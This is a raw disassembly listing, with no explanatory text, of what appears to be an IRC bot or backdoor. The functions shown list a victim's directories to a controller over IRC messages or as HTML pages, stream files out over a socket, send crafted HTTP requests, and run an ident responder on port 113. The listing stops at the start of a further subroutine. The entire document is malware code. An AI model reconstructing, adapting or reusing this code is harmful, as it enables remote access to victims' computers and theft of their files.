var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6EA
push eax
push offset aS_9 ; "\\%s"
jmp short loc_40F6F3
; ---------------------------------------------------------------------------
loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_6 ; "%s"
loc_40F6F3: ; CODE XREF: sub_40F6B4+34j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
xor esi, esi
xor ebx, ebx
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_40F78E
mov [ebp+arg_8], 2
loc_40F71E: ; CODE XREF: sub_40F6B4+D8j
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75E
cmp [ebp+esi+Dest], 25h
jnz short loc_40F75E
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75E
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75E
inc esi
mov [ebp+ebx+Dst], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F778
; ---------------------------------------------------------------------------
loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj
; sub_40F6B4+84j ...
mov al, [ebp+esi+Dest]
cmp al, 2Fh
jnz short loc_40F76E
push 5Ch
pop eax
jmp short loc_40F771
; ---------------------------------------------------------------------------
loc_40F76E: ; CODE XREF: sub_40F6B4+B3j
movsx eax, al
loc_40F771: ; CODE XREF: sub_40F6B4+B8j
mov [ebp+ebx+Dst], al
loc_40F778: ; CODE XREF: sub_40F6B4+A8j
lea eax, [ebp+Dest]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_40F71E
loc_40F78E: ; CODE XREF: sub_40F6B4+61j
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push [ebp+arg_4]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push offset asc_42A0A0 ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Str]
push eax
call ds:dword_427098 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DF
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E2
push [ebp+arg_0]
jmp loc_40F862
; ---------------------------------------------------------------------------
loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj
mov [ebp+var_4], esi
loc_40F7E2: ; CODE XREF: sub_40F6B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EF
mov [ebp+var_4], esi
loc_40F7EF: ; CODE XREF: sub_40F6B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86D
cmp [ebp+arg_C], edi
jz short loc_40F861
lea eax, [ebp+Str]
push offset asc_4341A0 ; "*"
push eax ; Dest
call _strcat
pop ecx
lea eax, [ebp+Str]
pop ecx
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_4100AE
add esp, 0Ch
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BC
; ---------------------------------------------------------------------------
loc_40F861: ; CODE XREF: sub_40F6B4+152j
push ebx
loc_40F862: ; CODE XREF: sub_40F6B4+126j
call dword_4CB6EC ; closesocket
jmp loc_40F964
; ---------------------------------------------------------------------------
loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_4270EC ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BC
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_427108 ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_427068 ; CloseHandle
loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj
; sub_40F6B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+Source]
push esi
push offset asc_43416C ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40B0F7
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E594[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F531
push edi
push edi
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_40F936
loc_40F924: ; CODE XREF: sub_40F6B4+280j
cmp [ebp+var_318], edi
jnz short loc_40F964
push 5
call ds:dword_427078 ; Sleep
jmp short loc_40F924
; ---------------------------------------------------------------------------
loc_40F936: ; CODE XREF: sub_40F6B4+26Ej
push ebx
call dword_4CB6EC ; closesocket
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_434134 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_4151AD
add esp, 10h
loc_40F964: ; CODE XREF: sub_40F6B4+1B4j
; sub_40F6B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40F96B(char *Str,int,int,char *Source)
sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp
; sub_40F531+15Ap
Dst = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
Str1 = byte ptr -35Ch
var_248 = byte ptr -248h
Dest = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call _memset
mov edi, [ebp+Str]
push offset asc_42A0A0 ; "\n"
push edi ; Str
call _strtok
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_40FAC9
; ---------------------------------------------------------------------------
loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj
cmp [ebp+Source], ebx
push edi ; Str
jz loc_40FAAF
call _strlen
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
push edi ; Str
call _strlen
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40FAC9
; ---------------------------------------------------------------------------
loc_40FAAF: ; CODE XREF: sub_40F96B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj
; sub_40F96B+142j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
cmp [ebp+Source], ebx
jz short loc_40FB64
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_40FB64
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_40FB15
loc_40FB09: ; CODE XREF: sub_40F96B+1A8j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB15
dec eax
jnz short loc_40FB09
loc_40FB15: ; CODE XREF: sub_40F96B+19Cj
; sub_40F96B+1A5j
inc eax
push eax ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
loc_40FB64: ; CODE XREF: sub_40F96B+180j
; sub_40F96B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_427000 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+Str], eax
push ecx
push eax
call ds:dword_427118 ; FindNextFileA
test eax, eax
jz loc_40FF54
mov edi, 1FFh
loc_40FB90: ; CODE XREF: sub_40F96B+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3C
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+Str1]
push offset a__0 ; "."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_427114 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_427110 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_40FC05
mov ecx, offset aAm ; "AM"
loc_40FC05: ; CODE XREF: sub_40F96B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC11
sub eax, 0Ch
loc_40FC11: ; CODE XREF: sub_40F96B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC85
lea eax, [ebp+Str1]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FC85: ; CODE XREF: sub_40F96B+2E0j
cmp [ebp+Source], ebx
jz loc_40FD6F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_4 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_40FD25
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD2A
; ---------------------------------------------------------------------------
loc_40FD25: ; CODE XREF: sub_40F96B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFE
; ---------------------------------------------------------------------------
loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj
lea eax, [ebp+Str1]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF3
push ebx
push [ebp+var_368]
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi ; Count
loc_40FDDF: ; CODE XREF: sub_40F96B+577j
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj
cmp [ebp+Source], ebx
jz loc_40FEE7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_40FE93
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE98
; ---------------------------------------------------------------------------
loc_40FE93: ; CODE XREF: sub_40F96B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE98: ; CODE XREF: sub_40F96B+526j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDF
; ---------------------------------------------------------------------------
loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj
push [ebp+var_368]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFD: ; CODE XREF: sub_40F96B+315j
push esi ; Count
loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 18h
loc_40FF0D: ; CODE XREF: sub_40F96B+444j
; sub_40F96B+483j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
cmp [ebp+arg_8], ebx
jz short loc_40FF3C
push 7D0h
call ds:dword_427078 ; Sleep
loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj
; sub_40F96B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+Str]
call ds:dword_427118 ; FindNextFileA
test eax, eax
jnz loc_40FB90
loc_40FF54: ; CODE XREF: sub_40F96B+21Aj
push [ebp+Str]
call ds:dword_42710C ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_40FF97
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40F96B+5F5j
cmp [ebp+Source], ebx
jz short loc_40FFB1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj
; sub_40F96B+644j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp
Dst = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_4270EC ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A9
push esi
push ebx
call ds:dword_427108 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A2
loc_410036: ; CODE XREF: sub_40FFF1+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410053
mov edi, [ebp+arg_4]
loc_410053: ; CODE XREF: sub_40FFF1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_42711C ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Dst]
push edi
push eax
push ebx
call ds:dword_4270E8 ; ReadFile
push esi
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41009D
call dword_4CB5E8 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_4100A2
xor eax, eax
loc_41009D: ; CODE XREF: sub_40FFF1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410036
loc_4100A2: ; CODE XREF: sub_40FFF1+43j
; sub_40FFF1+A8j
push ebx
call ds:dword_427068 ; CloseHandle
loc_4100A9: ; CODE XREF: sub_40FFF1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF1 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4100AE(char *Str)
sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
xor esi, esi
push edi ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_4100D7
loc_4100C1: ; CODE XREF: sub_4100AE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CB
mov byte ptr [esi+edi], 2Fh
loc_4100CB: ; CODE XREF: sub_4100AE+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_4100C1
loc_4100D7: ; CODE XREF: sub_4100AE+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4100DC(int,char *Str,int,int,int,int,int,int,int)
sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Format = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB5C4 ; WSAStartup
push 6
push 1
push 2
call dword_4CB6D4 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_14]
call dword_4CB654 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAFA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_4101B9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410155
mov eax, offset byte_43D808
loc_410155: ; CODE XREF: sub_4100DC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+Format]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Format]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Format]
push eax
push ebx
call dword_4CB6A4 ; send
push esi ; Size
lea eax, [ebp+Format]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+Format]
push edi
push esi
push eax
push ebx
call dword_4CB66C ; recv
pop esi
loc_4101B9: ; CODE XREF: sub_4100DC+6Bj
push ebx
call dword_4CB6EC ; closesocket
call dword_4CB5AC ; WSACleanup
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F9
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_4101F9: ; CODE XREF: sub_4100DC+102j
pop edi
pop ebx
leave
retn
sub_4100DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101FD proc near ; DATA XREF: WinMain(x,x,x,x)+445o
; sub_401ACD+436Ao
Str = byte ptr -238h
Dest = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_8], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 71h
call dword_4CB654 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CB6D4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410361
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43E59C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CB680 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410361
push 5
push ebx
call dword_4CB67C ; listen
cmp eax, 0FFFFFFFFh
jz loc_410361
mov [ebp+var_C], edi
mov edi, 200h
loc_410288: ; CODE XREF: sub_4101FD+EAj
; sub_4101FD+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CB6E8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41035C
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push offset asc_43468C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_4151AD
add esp, 14h
lea eax, [ebp+Str]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB66C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410288
lea eax, [ebp+Str]
push esi ; int
push eax ; Str
call sub_417F80
push 0Ch ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push esi ; Str1
push esi ; int
lea eax, [ebp+Dest]
push 2 ; int
push eax ; Dest
call sub_40B08E
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jz loc_410288
mov [ebp+var_8], 1
jmp loc_410288
; ---------------------------------------------------------------------------
loc_41035C: ; CODE XREF: sub_4101FD+A0j
cmp [ebp+var_8], esi
jnz short loc_410388
loc_410361: ; CODE XREF: sub_4101FD+47j
; sub_4101FD+6Bj ...
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Str]
push offset asc_434648 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_4151AD
add esp, 10h
loc_410388: ; CODE XREF: sub_4101FD+162j
push ebx
call dword_4CB6EC ; closesocket
push [ebp+var_4]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_4101FD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103AB proc near ; DATA XREF: sub_401ACD+613Co
Source = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
